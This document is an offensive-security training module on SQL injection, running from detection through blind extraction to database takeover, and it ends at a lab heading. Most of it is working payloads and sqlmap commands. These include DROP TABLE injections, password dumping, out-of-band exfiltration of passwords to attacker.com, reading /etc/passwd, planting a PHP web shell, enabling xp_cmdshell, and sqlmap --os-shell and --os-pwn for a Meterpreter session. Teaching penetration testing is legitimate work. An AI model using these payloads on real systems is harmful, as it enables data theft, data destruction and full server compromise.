Opening Framing: The Power of Injection
SQL injection has been the most dangerous web vulnerability for over two decades. Despite being well-understood and preventable, it persists because developers continue to construct SQL queries with untrusted input.
When you inject SQL, you communicate directly with the database. You can read sensitive data, modify records, delete tables, and sometimes execute operating system commands. A single vulnerable parameter can compromise an entire database.
This week goes deep on SQL injection—from basic detection to advanced blind techniques, from data extraction to complete database compromise.
Key insight: SQL injection succeeds because the application can't distinguish between data and code in the query.
1) SQL Injection Fundamentals
Understanding how SQLi works:
Vulnerable Code Pattern:
# PHP example
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = mysqli_query($conn, $query);
# If id = 1
SELECT * FROM users WHERE id = 1
# Works normally
# If id = 1 OR 1=1
SELECT * FROM users WHERE id = 1 OR 1=1
# Returns ALL users!
# If id = 1; DROP TABLE users;--
SELECT * FROM users WHERE id = 1; DROP TABLE users;--
# Deletes the table!
SQL Injection Types:
In-Band SQLi (Classic):
- Results visible in response
- Error-based: Errors reveal data
- UNION-based: Combine queries
Blind SQLi:
- No visible output
- Boolean-based: True/false responses
- Time-based: Response timing differences
Out-of-Band SQLi:
- Data exfiltrated via different channel
- DNS lookups, HTTP requests
- When in-band/blind not possible
Second-Order SQLi:
- Payload stored first
- Executed later in different query
- Harder to detect
Injection Points:
Common injection locations:
URL Parameters:
/page?id=1 → /page?id=1'
POST Body:
username=admin → username=admin'
Cookies:
Cookie: user=admin → Cookie: user=admin'
HTTP Headers:
User-Agent: Mozilla → User-Agent: '
X-Forwarded-For: 1.1.1.1 → X-Forwarded-For: '
JSON/XML:
{"id": "1"} → {"id": "1'"}
Order By / Sort:
?sort=name → ?sort=name,(select 1)
Table/Column Names (rare):
?table=users → ?table=users;DROP TABLE x;--
Key insight: Any user input that reaches a SQL query without proper handling is a potential injection point.
2) SQLi Detection Techniques
Finding SQL injection vulnerabilities:
Basic Detection Payloads:
Single quote (string terminator):
'
"
SQL comments:
--
#
/**/
Arithmetic operations:
1+1
2-1
Boolean conditions:
OR 1=1
AND 1=1
OR 'a'='a'
Time delays:
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
' OR SLEEP(5)-- (MySQL)
'; SELECT pg_sleep(5)-- (PostgreSQL)
Detecting Error-Based SQLi:
# Submit single quote and look for errors:
MySQL errors:
"You have an error in your SQL syntax"
"mysql_fetch_array()"
"Warning: mysql_"
MSSQL errors:
"Microsoft SQL Native Client"
"Unclosed quotation mark"
"[ODBC SQL Server Driver]"
PostgreSQL errors:
"PSQLException"
"unterminated quoted string"
"pg_query()"
Oracle errors:
"ORA-01756"
"ORA-00933"
"SQL command not properly ended"
SQLite errors:
"SQLITE_ERROR"
"unrecognized token"
# Error messages often reveal:
# - Database type
# - Query structure
# - Table/column names
Detecting Blind SQLi:
# Boolean-based detection:
# True condition (normal response):
id=1 AND 1=1
id=1' AND '1'='1
# False condition (different response):
id=1 AND 1=2
id=1' AND '1'='2
# Compare responses:
# - Different content length
# - Different content
# - Different status code
# Time-based detection:
# MySQL
id=1' AND SLEEP(5)--
id=1' AND IF(1=1,SLEEP(5),0)--
# MSSQL
id=1'; WAITFOR DELAY '0:0:5'--
id=1'; IF (1=1) WAITFOR DELAY '0:0:5'--
# PostgreSQL
id=1'; SELECT pg_sleep(5)--
id=1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
# Oracle
id=1' AND DBMS_PIPE.RECEIVE_MESSAGE('x',5)='x'--
# Response takes 5+ seconds = vulnerable
Systematic Testing with Burp:
# Testing workflow:
1. Identify all parameters
- URL, POST, cookies, headers
2. Send to Repeater
- Test each parameter individually
3. Submit baseline request
- Note normal response length/content
4. Test detection payloads:
- Single quote
- Boolean true/false
- Time delay
5. Compare responses
- Error messages
- Content differences
- Timing differences
6. Confirm vulnerability
- Consistent behavior
- Not false positive
# Burp Scanner can automate detection
# But manual testing catches edge cases
Key insight: Detection is about observing differences. Errors, content changes, and timing all reveal SQLi.
3) UNION-Based SQL Injection
Extracting data through UNION queries:
UNION Attack Concept:
Original query:
SELECT name, price FROM products WHERE id = 1
Injected:
SELECT name, price FROM products WHERE id = 1
UNION SELECT username, password FROM users--
Result set combines both queries!
Requirements:
1. Same number of columns
2. Compatible data types
3. Results displayed in response
Step 1: Determine Column Count
# Method 1: ORDER BY
id=1 ORDER BY 1-- (works)
id=1 ORDER BY 2-- (works)
id=1 ORDER BY 3-- (works)
id=1 ORDER BY 4-- (error!)
# 3 columns in query
# Method 2: UNION SELECT NULL
id=1 UNION SELECT NULL-- (error)
id=1 UNION SELECT NULL,NULL-- (error)
id=1 UNION SELECT NULL,NULL,NULL-- (works!)
# 3 columns confirmed
# Oracle requires FROM:
id=1 UNION SELECT NULL,NULL,NULL FROM dual--
Step 2: Find Displayable Columns
# Not all columns shown in response
# Find which columns display data:
id=1 UNION SELECT 'a',NULL,NULL--
id=1 UNION SELECT NULL,'a',NULL--
id=1 UNION SELECT NULL,NULL,'a'--
# Column 2 shows 'a' in response = usable!
# Or use numbers:
id=1 UNION SELECT 1,2,3--
# See which numbers appear in response
Step 3: Extract Data
# Database version:
' UNION SELECT NULL,@@version,NULL-- (MySQL/MSSQL)
' UNION SELECT NULL,version(),NULL-- (PostgreSQL)
' UNION SELECT NULL,banner,NULL FROM v$version-- (Oracle)
# Current user:
' UNION SELECT NULL,user(),NULL-- (MySQL)
' UNION SELECT NULL,current_user,NULL-- (PostgreSQL)
' UNION SELECT NULL,user,NULL FROM dual-- (Oracle)
# Database name:
' UNION SELECT NULL,database(),NULL-- (MySQL)
' UNION SELECT NULL,current_database(),NULL-- (PostgreSQL)
# List tables:
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
# List columns:
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
# Extract data:
' UNION SELECT NULL,username,password FROM users--
# Concatenate multiple columns:
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- (MySQL)
' UNION SELECT NULL,username||':'||password,NULL FROM users-- (PostgreSQL/Oracle)
Database-Specific Syntax:
MySQL:
- Comment: -- (space after) or #
- Concat: CONCAT(a,b) or CONCAT_WS(':',a,b)
- Version: @@version
- Current DB: database()
MSSQL:
- Comment: -- or /* */
- Concat: a+b or CONCAT(a,b)
- Version: @@version
- Current DB: db_name()
PostgreSQL:
- Comment: --
- Concat: a||b
- Version: version()
- Current DB: current_database()
Oracle:
- Comment: --
- Concat: a||b
- Requires FROM dual
- No information_schema (use all_tables)
Key insight: UNION attacks are powerful but require matching the original query structure exactly.
4) Blind SQL Injection
Extracting data without visible output:
Blind SQLi Concept:
No error messages displayed
No data in response
But application behaves differently based on query
Boolean-based:
- True condition → Normal page
- False condition → Different page (or no results)
Time-based:
- True condition → Delay response
- False condition → Immediate response
Boolean-Based Extraction:
# Extract data one character at a time
# Get first character of username:
' AND SUBSTRING(username,1,1)='a'-- (false)
' AND SUBSTRING(username,1,1)='b'-- (false)
...
' AND SUBSTRING(username,1,1)='d'-- (true!)
# First character is 'd'
# Get second character:
' AND SUBSTRING(username,2,1)='a'--
...
' AND SUBSTRING(username,2,1)='b'-- (true!)
# Second character is 'b' → "db..."
# Binary search (faster):
# ASCII value > 64?
' AND ASCII(SUBSTRING(username,1,1))>64--
# ASCII value > 96? (lowercase?)
' AND ASCII(SUBSTRING(username,1,1))>96--
# Binary search narrows quickly
Time-Based Extraction:
# When no visible difference in response
# MySQL:
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
# If first char is 'a', response delayed 5 seconds
# MSSQL:
'; IF (SUBSTRING((SELECT username FROM users),1,1)='a') WAITFOR DELAY '0:0:5'--
# PostgreSQL:
'; SELECT CASE WHEN (SUBSTRING(username,1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--
# Extract character by character
# Measure response time for each test
Automating Blind SQLi:
# Burp Intruder for Boolean-based
1. Capture request with injection point
2. Set payload position on character value:
' AND SUBSTRING(username,1,1)='§a§'--
3. Payload: a-z, 0-9, special chars
4. Grep response for indicator
- Content length difference
- Specific text present/absent
5. Identify true responses
# SQLMap automation (recommended for blind):
sqlmap -u "http://target.com/page?id=1" --technique=B # Boolean
sqlmap -u "http://target.com/page?id=1" --technique=T # Time-based
# SQLMap handles the tedious extraction
Out-of-Band Extraction:
# When in-band and blind don't work
# DNS exfiltration (if DNS queries allowed)
# MySQL (Windows):
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT password FROM users LIMIT 1),
'.attacker.com\\a'))--
# MSSQL:
'; DECLARE @x VARCHAR(1024);
SET @x=(SELECT password FROM users);
EXEC('master..xp_dirtree "\\'+@x+'.attacker.com\a"')--
# Oracle:
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||
(SELECT password FROM users WHERE rownum=1)) FROM dual--
# Requires:
# - Network access from DB server
# - DNS resolution
# - Burp Collaborator or similar to catch requests
Key insight: Blind SQLi is slower but just as powerful. Everything in the database is eventually extractable.
5) Advanced SQLi and SQLMap
Advanced techniques and automation:
Filter Bypass Techniques:
# When basic payloads are blocked:
# Case variation:
SeLeCt, UNION, UniOn
# Comment insertion:
UN/**/ION SEL/**/ECT
UNI%00ON SEL%00ECT
# Encoding:
%55NION (URL encoded U)
CHAR(85)+CHAR(78)+CHAR(73)+CHAR(79)+CHAR(78) (MSSQL)
# Alternative syntax:
UNION ALL SELECT instead of UNION SELECT
&&, || instead of AND, OR
# Whitespace alternatives:
UNION%09SELECT (tab)
UNION%0ASELECT (newline)
UNION/**/SELECT
# No quotes:
WHERE username=CHAR(97,100,109,105,110) # 'admin'
WHERE username=0x61646d696e # hex 'admin'
# No spaces:
UNION(SELECT(username)FROM(users))
Second-Order SQL Injection:
# Payload stored, executed later
# Registration:
Username: admin'--
# Later, in admin panel query:
SELECT * FROM users WHERE username='admin'--'
# Injection executes!
# Testing approach:
1. Inject payloads in stored data
- Registration forms
- Profile updates
- Comments
2. Trigger execution
- View profiles
- Admin functions
- Reports
3. Look for evidence
- Errors
- Unexpected behavior
SQLMap Mastery:
# Basic usage:
sqlmap -u "http://target.com/page?id=1"
# POST request:
sqlmap -u "http://target.com/login" --data="user=test&pass=test"
# With cookie:
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"
# From Burp request:
sqlmap -r request.txt
# Specify injection point:
sqlmap -u "http://target.com/page" --data="id=1*&name=test"
# * marks injection point
# Enumeration:
sqlmap -u "..." --dbs # List databases
sqlmap -u "..." -D dbname --tables # List tables
sqlmap -u "..." -D dbname -T users --columns # List columns
sqlmap -u "..." -D dbname -T users --dump # Dump table
# Advanced options:
--level=5 # Thorough testing
--risk=3 # Include risky tests
--technique=BEUST # All techniques
--tamper=space2comment # WAF bypass
--os-shell # OS command execution
--sql-shell # Interactive SQL shell
# Useful tampers:
--tamper=apostrophemask
--tamper=space2comment
--tamper=charencode
--tamper=randomcase
Database Takeover:
# Beyond data extraction:
# Read files (MySQL):
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--
# Write files (MySQL):
' UNION SELECT '' INTO OUTFILE '/var/www/html/shell.php'--
# OS command execution (MSSQL):
'; EXEC xp_cmdshell('whoami')--
# Enable xp_cmdshell:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
# SQLMap automation:
sqlmap -u "..." --file-read="/etc/passwd"
sqlmap -u "..." --file-write="shell.php" --file-dest="/var/www/html/shell.php"
sqlmap -u "..." --os-shell
sqlmap -u "..." --os-pwn # Meterpreter shell
Key insight: SQL injection can escalate from data theft to complete server compromise. The database is a stepping stone.
Real-World Context: SQLi Impact
SQL injection in practice:
Major Breaches: SQL injection has caused massive data breaches. Heartland Payment Systems (130M cards), Sony Pictures, Yahoo—all compromised via SQLi. Despite being a "solved" problem, it persists.
Defense Layers: Modern applications use parameterized queries, ORMs, and WAFs. Testing must account for these defenses. Filter bypasses and edge cases still exist.
Bug Bounty Value: SQLi findings command premium payouts. A single SQLi in a major application can earn $10,000-$50,000+. The impact justifies the reward.
MITRE ATT&CK Mapping:
- T1190 - Exploit Public-Facing Application: SQLi exploitation
- T1505.003 - Web Shell: File write to webshell
- T1059 - Command Execution: xp_cmdshell, os-shell
Key insight: SQLi has been #1 or #3 on OWASP Top 10 for 20 years because it keeps working.
Guided Lab: SQL Injection Exploitation
Master SQLi through progressive exercises.